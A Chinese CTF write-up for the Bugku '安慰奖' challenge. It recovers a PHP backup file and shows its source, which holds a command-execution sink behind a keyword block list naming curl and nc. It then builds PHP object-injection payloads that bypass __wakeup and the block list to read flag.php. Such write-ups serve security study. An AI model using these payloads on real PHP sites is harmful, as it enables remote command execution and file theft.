Bugku CTF 每日一题 安慰奖

安慰奖

打开网页啥都没有
习惯性按f12发现一段base64，解码后发现是

 YmFja3Vwcw== 
 backups（备份）

于是想到了网站备份，但是备份目录忘了
于是用dirsearch扫了一下 发现是index.php.bak

于是下载源码发现是代码审计

<?php

header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
    protected $username = 'hack';
    protected $cmd = 'NULL';
    public function __construct($username,$cmd)
    {
        $this->username = $username;
        $this->cmd = $cmd;
    }
    function __wakeup()
    {
        $this->username = 'guest';
    }

    function __destruct()
    {
        if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
        {
            exit('</br>flag能让你这么容易拿到吗？<br>');
        }
        if ($this->username === 'admin')
        {
           // echo "<br>right!<br>";
            $a = `$this->cmd`;
            var_dump($a);
        }else
        {
            echo "</br>给你个安慰奖吧，hhh！</br>";
            die();
        }
    }
}
    $select = $_GET['code'];
    $res=unserialize(@$select);
?>

开始审计

class ctf
{
    protected $username = 'hack';
    protected $cmd = 'NULL';
    定义username和cmd变量
----------------------------------------------
    public function __construct($username,$cmd)
    {
        $this->username = $username;
        $this->cmd = $cmd;
    }
    java知识不做赘述
----------------------------------------------
    function __wakeup()
    {
        $this->username = 'guest';
    }
反序列化的wakeup函数，如何绕过可见我这篇文章
此处是将username的值改为guest
https://blog.csdn.net/qq_42263820/article/details/112719099

----------------------------------------------
   if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
        {
            exit('</br>flag能让你这么容易拿到吗？<br>');
        }
       一堆正则
----------------------------------------------
 if ($this->username === 'admin')
        {
           // echo "<br>right!<br>";
            $a = `$this->cmd`;
            var_dump($a);
 如果username的值为admin将cmd的值传给a变量并输出执行
----------------------------------------------
    $select = $_GET['code'];
    $res=unserialize(@$select);
  get获取code的值传给select并把select的值反序列化后传给res

所以唯一可以传的是code的值 所以用code里面包含username和cmd即可传值给他们
因为类名是ctf，所以构造为

code=O:3:"ctf":2:{s:8:"username";s:5:"admin";s:3:"cmd";s:2:"ls";}

绕过wakeup函数就在第一个2改为3即可(原因在上面写过了)

code=O:3:"ctf":3:{s:8:"username";s:5:"admin";s:3:"cmd";s:2:"ls";}

但是要注意上面的写错了，因为定义的是private，在php序列化的时候private和 protected 变量会引入不可见字符%00，所以username和cmd前面要加或%00*%00(这里算三个字符)
所以正确的应该是这样

code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}
这里传了个ls命令
而cmd的传值中cat,tac,more,less,head都被过滤了， 但是在研究后发现tac命令没有过滤，所以可以用tac命令查看文件

所以直接用tac命令后修改为

code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac flag.php";}

得到flag！